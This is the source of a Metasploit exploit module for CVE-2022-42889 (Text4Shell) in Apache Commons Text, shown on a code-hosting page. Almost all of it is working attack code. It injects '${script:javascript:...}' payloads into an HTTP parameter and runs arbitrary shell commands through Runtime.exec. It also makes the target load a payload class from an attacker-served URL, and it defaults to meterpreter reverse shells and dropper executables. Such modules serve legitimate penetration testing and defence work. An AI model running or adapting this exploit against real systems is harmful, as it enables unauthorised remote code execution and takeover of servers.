Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/apache_commons_text4shell.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Java::HTTP::ClassLoader1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Commons Text RCE',17'Description' => %q{18This exploit takes advantage of the StringSubstitutor interpolator class,19which is included in the Commons Text library. A default interpolator20allows for string lookups that can lead to Remote Code Execution. This21is due to a logic flaw that makes the “script”, “dns” and “url” lookup22keys interpolated by default, as opposed to what it should be, according23to the documentation of the StringLookupFactory class. Those keys allow24an attacker to execute arbitrary code via lookups primarily using the25"script" key.2627In order to exploit the vulnerabilities, the following requirements must28be met:2930Run a version of Apache Commons Text from version 1.5 to 1.931Use the StringSubstitutor interpolator32Target should run JDK < 1533},34'License' => MSF_LICENSE,35'Author' => [36'Alvaro Muñoz', # Original research37'Karthik UJ', # PoC38'Gaurav Jain', # Metasploit module39],40'References' => [41['CVE', '2022-42889'],42['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],43['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']44],45'Platform' => ['win', 'linux', 'unix', 'java'],46'Targets' => [47[48'Java (in-memory)',49{50'Type' => :java,51'Platform' => 'java',52'Arch' => ARCH_JAVA,53'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }54},55],56[57'Windows EXE Dropper',58{59'Platform' => 'win',60'Arch' => [ARCH_X86, ARCH_X64],61'Type' => :windows_dropper,62'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }63}64],65[66'Windows Command',67{68'Platform' => 'win',69'Arch' => ARCH_CMD,70'Type' => :windows_cmd,71'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }72}73],74[75'Unix Command',76{77'Platform' => 'unix',78'Arch' => ARCH_CMD,79'Type' => :unix_cmd,80'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }81}82],83[84'Linux Dropper',85{86'Platform' => 'linux',87'Arch' => [ARCH_X86, ARCH_X64],88'Type' => :linux_dropper,89'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }90}91]92],93'Privileged' => false,94'DisclosureDate' => '2022-10-13',95'DefaultTarget' => 0,96'Notes' => {97'Stability' => [CRASH_SAFE],98'Reliability' => [REPEATABLE_SESSION],99'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]100}101)102)103register_options([104OptString.new('TARGETURI', [ true, 'The target URI', '/']),105OptString.new('PARAM', [ true, 'The vulnerable parameter']),106OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])107])108end109110def check111vprint_status("Checking if #{peer} can be exploited.")112res = send_exp113return CheckCode::Unknown('No response received from target.') unless res114115# blind command injection using sleep command116sleep_time = rand(4..8)117vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")118_res, elapsed_time = Rex::Stopwatch.elapsed_time do119send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")120end121vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")122return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time123124CheckCode::Vulnerable('Successfully tested command injection.')125end126127def exploit128case target['Type']129when :java130# Start the HTTP server to serve the payload131java_class_loader_start_service132# Trigger a loadClass request via java.net.URLClassLoader133trigger_urlclassloader134# Handle the payload135handler136when :windows_cmd, :unix_cmd137execute_command(payload.encoded)138when :windows_dropper, :linux_dropper139execute_cmdstager140end141end142143def trigger_urlclassloader144url = get_uri145146vars = Rex::RandomIdentifier::Generator.new147148exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"149exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"150exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"151152res = send_exp(exp)153154fail_with(Failure::Unreachable, 'No response received from the target') unless res155fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200156end157158def execute_command(cmd, _opts = {})159vars = Rex::RandomIdentifier::Generator.new160161exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"162exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"163164res = send_exp(exp)165166fail_with(Failure::Unreachable, 'No response received from the target') unless res167fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200168end169170def send_exp(exp = '')171vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'172send_request_cgi(173'method' => datastore['METHOD'],174'uri' => normalize_uri(target_uri.path),175176vars => {177datastore['PARAM'] => "${script:javascript:#{exp}}"178}179)180end181182def win_target?183target['Platform'] == 'win'184end185186def on_request_uri(cli, request)187case target['Type']188when :java189# Call method to handle java payload staging190super(cli, request)191else192# Handle win/unix cmd staging193client = cli.peerhost194print_status("Client #{client} requested #{request.uri}")195print_status("Sending payload to #{client}")196send_response(cli, exe)197end198end199end200201202